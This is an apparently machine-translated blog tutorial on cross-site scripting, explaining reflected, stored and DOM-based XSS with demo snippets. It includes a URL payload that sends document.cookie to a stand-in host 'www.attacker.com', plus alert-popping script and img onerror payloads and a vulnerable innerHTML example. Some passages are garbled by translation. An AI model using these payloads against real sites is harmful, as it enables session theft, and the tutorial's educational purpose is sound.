All that stuff about Xss attacks

The article was first published on a personal blog

preface

Ready for autumn time, back about Xss eight-part essays, but there is no understanding, so interview answer at that time, only oneself back part of the said, when the interviewer asked a deep, answer not to come out, until now had time to study Xss attacks, only to find that there are some difference and his back the eight-part essay writing.

Article 🌰 source code can be downloaded here, it is best to run again, combined with this article to eat the best!!

What is an Xss attack

Cross-site scripting (Xss) is a code injection attack that allows an attacker to execute malicious JavaScript on other users’ browsers.

The attacker will not directly target the victim, but take advantage of the vulnerability of the website visited by the victim, so that the website provides him with malicious code, and for the browser of the victim, malicious JavaScript is also a legitimate part of the website. In a sense, the website has become an accomplice of the attacker.

What is malicious JavaScript

If it is our own JavaScript, we can guarantee that it is not malicious and that it is within our control. If it is not our own business code (such as third-party packages, injected scripts), we need to be careful and discriminating, especially in the following three cases:

  1. JavaScript can access sensitive user information, such as document.cookie.
  2. JavaScript can send network requests using XMLHttpRequest, FETCH.
  3. JavaScript can make arbitrary changes to a page by using the Dom Api.

You might be thinking, what’s the harm? I’ll leave that for the next video.

The consequences of malicious JavaScript

Surprisingly, the next section is coming up so quickly. In fact, if we open the console of a website, we can execute any JavaScript we want without affecting our computer, but if we do the above “bad operation”, there are the following risks.

  1. Cookie stealing: The attacker obtains the victim’s cookie through Document. cookie, sends the cookie information to the attacker’s server, and then carries out subsequent attacks such as CSRF, or extracts its sensitive information.
  2. Listen for an event: The attacker passesaddEventListenerRegister keyboard input events and then send all of the victim’s input to the attacker, which may include sensitive information such as account numbers and passwords.
  3. Phishing: an attacker works through the Dom, then creates an identical login box to override the original login of the previous site, and directs the submission address to the attacker’s server, where the victim submits sensitive information without knowing it.

Although these attacks are quite different, they are generally similar in that they involve injecting malicious JavaScript into the victim’s site and then executing it in the context of the site. This appears to be legitimate, and it’s just treated as a script on the site that can do whatever the victim can do. Access any data that the victim has access to, which is even more dangerous if the victim is an administrator, who has access to all data and can do anything.

Xss attack mode

There are three main types of Xss attacks:

  1. Reflective Xss: Malicious JavaScript comes from a network request.
  2. Stored Xss: Malicious JavaScript comes from a database.
  3. Dom based: Vulnerabilities are in the front end, not the back end.

Reflective Xss

Reflective Xss is the first type of Xss attack. Malicious JavaScript is part of a web request. When a web site sends a web request, the web site contains this malicious JavaScript in the response body.

An attacker can trick a user into making a specific request in a variety of ways (by placing a link on a website, or by sending a link via email) and then return a malicious script for an Xss attack. The attacks can be directed against known users or against any users.

process

  1. The attacker makes a link to a malicious string and sends it to the victim.
  2. Victims are tricked into clicking on a malicious link and then visiting that malicious link to a vulnerable website.
  3. The backend of the site is processed and returns spliced HTML that contains malicious JavaScript.
  4. The victim’s browser receives the response, parses it and executes malicious JavaScript mixed in (for example, sending the victim’s cookie to the attacker).

At first reflection seems harmless, because it requires the victim to send a link containing a malicious string. We can’t say we attack ourselves, but in reality it’s more about getting the victim to send a reflection attack on us through disguise:

  • Targeting a specific person, an attacker can send a malicious link to the victim (e.g. email, SMS, message, etc.) and entice him to visit.
  • Targeting a group of people, an attacker can post malicious links (e.g. personal websites, group messages, announcements, etc.) and wait for visitors to click on them.

The two methods are similar in that they mask links to malicious strings that would otherwise be recognized by the user.

An 🌰 🌰 🌰

For a practical example, you can see the source code here, and you can see the interface like this:

It has a search function, which is called /search? Q = keyword can be searched by clicking the search button, since this is mainly showing XSS attacks, no real search has been done.

So when we do a search, we pass a parameter q to the back end. So there are two scenarios:

  1. Normal JavaScript: If we typeq=keywordsThe data passed to the back end is{ q: 'keywords' }That doesn’t seem like a problem.
  2. Malicious JavaScript: If we typeq=<script>alert(1)</script>Is passed to the back end{ q: '<script>alert(1)</script>' }The parameters are malicious code, the server directly renders the XSS attack.

Here we have a reflective XSS attack when passing in malicious JavaScript, but an XSS attack on ourselves, so how can we have a reflective XSS attack on someone else?

Follow the above process, let’s go through it again:

  1. Step 1: After finding the query parameter vulnerability, we found that we could create a URL with malicious JavaScript, for example/search? q=<script> window.location="www.attacker.com?cookie="+document.cookie </script>.
  2. The second step: then through mailbox, advertising and other ways to induce users to click, visit the website of malicious links.
  3. The third step: then the back end of the site to take out the query keyword, here is the corresponding<script>... </script>, then concatenated into HTML, which is then returned to the browser.
  4. Step 4: Use the browser to execute<script>... </script>“, and then sends cookies of the current website to the attacker.

From this, we know that reflective Xss requires clicking a link or triggering an action to visit a vulnerable website, and then the backend of the website receives the request and processes it. The backend generates the corresponding HTML based on the data transmitted from the front-end and then returns it to the front-end, which directly renders it. So where does the reflection happen?

What happens is that if the data that comes from the front end is malicious code, the back end doesn’t do a layer of filtering, it just renders it into HTML and sends it back to the front end, so that’s where the so-called “reflection” occurs.

Continuing with the above example, when we search, the keywords are rendered and the results are displayed.

URL: http://xxxx/search? Keywords = javascript.

The Html structure returned to the front end after the back-end rendering:

<div>Keywords: javascript</div>
<div>Results: XXXX</div>
Copy the code

Enter javascript, reflected into the

keyword: javascript

.

URL: http://xxxx/search? Keywords = < script > alert (1) < / script >.

The Html structure returned to the front end after the back-end rendering:

<div>Key words:<script>
    alert(1);
  </script>
</div>
<div>Results: XXXX</div>
Copy the code

The key point

So based on the above process and the demo, I summarized the following two key points:

  1. The reflective Xss back end does not store malicious JavaScript in the database and is not permanent.
  2. Reflective Xss uses the back end for reflection. If you’ve tried reflective demos yourself and haven’t been successful, check to see if there’s no reflection on the back end.

Type stored Xss

Stored Xss(also known as persistent Xss) occurs when malicious data is received by the back end and stored in the database and returned to the front end when accessed by other users.

Problematic data may be submitted to the back end via HTTP requests, such as blog comments, user nicknames in chat rooms, or contact information on customer orders.

process

  1. The attacker submits malicious JavaScript to send a network request, which the back end receives and inserts directly into the database.
  2. The victim went to the site and requested a page.
  3. The site’s response body data contains malicious JavaScript that the attacker inserts into the database and then sends to the victim.
  4. The victim’s browser executes malicious JavaScript.

An 🌰 🌰 🌰

When I was writing 🌰, I found that it has two scenarios of storage-type attacks.

The back end returns a JSON front-end rendering

When we do the project of separating the front end from the back end, most of the time we directly return JSON data. The front end sends data to the back end through POST, and the back end directly stores the data into the database without processing. When other users visit, the back end returns THE JSON of malicious code. Then, front-end Vue may directly use commands like V-HTML, React uses danger’s attribute to render data. Combined with my own practical example, in my personal blog, I can write markdown format when Posting comments, and my front-end requests the interface back end to return data to me. However, the front-end rendering will parse the comment string into HTML using marked. Js and render it using dangerouslySetInnerHTML, so it will be careful to have stored XSS.

There’s a back end that returns JSON and the front-end rendering code can poke around.

The back end returns HTML

It is the back end that looks up the data from the database, and then generates HTML from the data and returns it to the front end, so the front end just renders the HTML directly, which is a bit similar to reflective XSS.

The back end generates HTML code

explain

You can see a page that looks like this:

To add a product, click the Add button, and there will be a Prompt dialog box to enter the product name and click OK to add the product successfully.

To verify the stored XSS. When we add the product, enter a banana and see that it was successfully added and displayed on the page.

Html structure:

<ol>
  <li>apple</li>
  <li>banana</li>
</ol>
Copy the code

, hit OK, pop up a 1, and look at the final Html structure. Think about why you didn’t use , which will be explained later.

Html structure:

<ol>
  <li>apple</li>
  <li>
    <img src="x" onerror="alert(1)" />
  </li>
</ol>
Copy the code

If we store the contents of malicious scripts in a database, then other users will execute the contents of malicious scripts when browsing the web page, which is a stored Xss attack.

I saw a Post on Twitter that used a stored XSS attack. When other users saw the tweet, they automatically liked it and retweeted it.

The key point

So combined with the above process and 🌰, I summarize the following two key points:

  1. Stored Xss saves malicious JavaScript to the database and is persistent
  2. The storage Xss back end does not reflect, but only generates HTML returns or malicious DATA JSON returns on the back end, with the front end rendering in an “uncontrolled” manner

Based on Dom

Like the previous two TYPES of XSS attacks, both require the backend to “cooperate “, the reflective type requires the backend to” reflect “the malicious code to the browser, and the stored type requires the backend to” store “the malicious code to the database. Is there one that does not require the backend to cooperate?

DOM based XSS is an XSS attack that occurs in the front end. It does not send malicious code to the back end, and the response returned by the back end does not contain malicious code.

process

  1. The attacker makes a URL containing a malicious string and sends it to the victim.
  2. The victim accesses a URL link to the malicious string.
  3. After the victim browser parses the response of the maliciously linked website, the front-end JavaScript takes out the malicious code and executes it.
  4. Malicious code steals user data and sends it to an attacker’s website.

An 🌰 🌰 🌰

Taking search as an example, when we do a search, the keywords are rendered and the results are displayed.

The following code

<h1 id="keywords"></h1>
<div id="result"></div>

<script>
  const query = new URLSearchParams(location.search.slice(1));
  const keywords = document.getElementById('keywords');

  keywords.innerHTML = 'Key words:${query.get('keywords')}`;
</script>
Copy the code

Then have a URL address: http://www.xxxx.com/search?keywords=javascript. So the final structure is as follows

Html structure:

<div>Keywords: javascript</div>
<div>Results: XXXX</div>
Copy the code

But what happens if we mess around and type a ? Nothing happened, so let’s look at the final Html structure.

Html structure:

<div>Key words:<script>
    alert(1);
  </script>
</div>
<div>Results: XXXX</div>
Copy the code

There’s no problem. Why doesn’t it pop up a 1? Skillfully open an MDN document, search for innerHTML, and find an explanation like this in the document.

Although this looks like an XSS attack, there is no impact on the page. However, HTML5 specifies that

This also explains why

Html structure:

<div>The keyword<img src="x" onerror="alert(1)" /></div>
<div>Results: XXXX</div>
Copy the code

This example shows that a DOM-based XSS attack does not send network requests. It exploits vulnerabilities in sites such as Document.url, document.location, or Document.referrer.

The difference between

In the previous reflection type and storage type, the backend is used without processing, directly insert malicious code into the HTML or return malicious code data, and then the front end receives the response for rendering, the malicious code as part of the page, in the page load normal execution.

However, in the example of a DOM-based XSS attack, there is no back end involved and the malicious script is not inserted as part of the page; Instead, it executes its part of the script during page loading and then triggers the malicious script at some point in the future.

Take just an example of the search function, we can input any content in the search, so at the time of input malicious content, also is no problem, when I click on the search button, the malicious script is inserted into the page automatically, so here is “in the future a certain moment” click search there for an instant.

For example, using input to add HTML to a page. When the malicious content is entered, the malicious string uses innerHTML inserted into the page and is therefore parsed into HTML, resulting in the execution of the malicious script.

But with DOM-based Xss, instead of being inserted into the page as part of the HTML, the only script that is automatically executed during page loading is the legitimate part of the page. The problem is that this legitimate script takes user input directly and adds HTML to the page. Because of the use of an API like innerHTML, It is parsed to HTML, resulting in the execution of malicious code.

What is the difference?

  • In traditional XSS attacks, the back end returns malicious code to the browser as part of the HTML, which executes normally when the page loads.
  • In A DOM-based XSS attack, a malicious script is executed at some point after the page is loaded because the legitimate JavaScript on the page processes user input in an unsafe way.

In the example above, the unsafe way is to insert content with innerHTML and then execute a malicious script at the exact moment of the search.

What is the significance of appearing?

In reflection type and storage type, we need to communicate with the back end. Assuming that there is no problem with our back end code and security protection is done, there will be no problem, so it can be considered that there will be no XSS attack.

However, as Web applications become more complex, the back end now serves only data, and more and more content is rendered by the front end, partially updated with javascript without refreshing the page, and Web requests for data are sent using Ajax.

This means that Xss attacks can occur not only in the back end, but also in the JavaScript code in the front end, because even if the back end is Xss protected, the front end may unsecurely insert user input into the Dom after the page is loaded. If this is the case, Dom based XSS attacks occur, not backend issues.

Write after feeling

The above is my own understanding of XSS. When I was writing this article, I actually felt quite painful and asked many friends about their understanding of XSS attack. After reading a lot of materials, I found that the materials were different from what I had known before, so I began to think about what was right and what was wrong. The simplest one is a reflection XSS attack, and I was wondering if there would be no reflection XSS attack now that the front and back end are separated and the back end only provides data, so I didn’t use two examples like storage (the back end returns HTML, the back end returns JSON data), If you know, you can comment and tell me. Just write a little bit every day in this state, and finally finish writing this article.

When I go to see the summary of the eight-part essay and then recite it, and others to explain it is really two different things, I hope it will be helpful to you friends, if there are any mistakes or suggestions, I hope you will forgive and put forward in the comments, I will try to correct, come on, 🐛🦆!!

The resources

  1. Web Security – A7. Cross-site Scripting (XSS) – Part 1
  2. What is XSS (Cross-site Scripting)?
  3. DOM Based Cross Site Scripting or XSS of the Third Kind
  4. Cross Site Scripting
  5. Excess XSS
  6. PostSwigger Cross-site scripting
  7. OWASP Cheat Sheet Series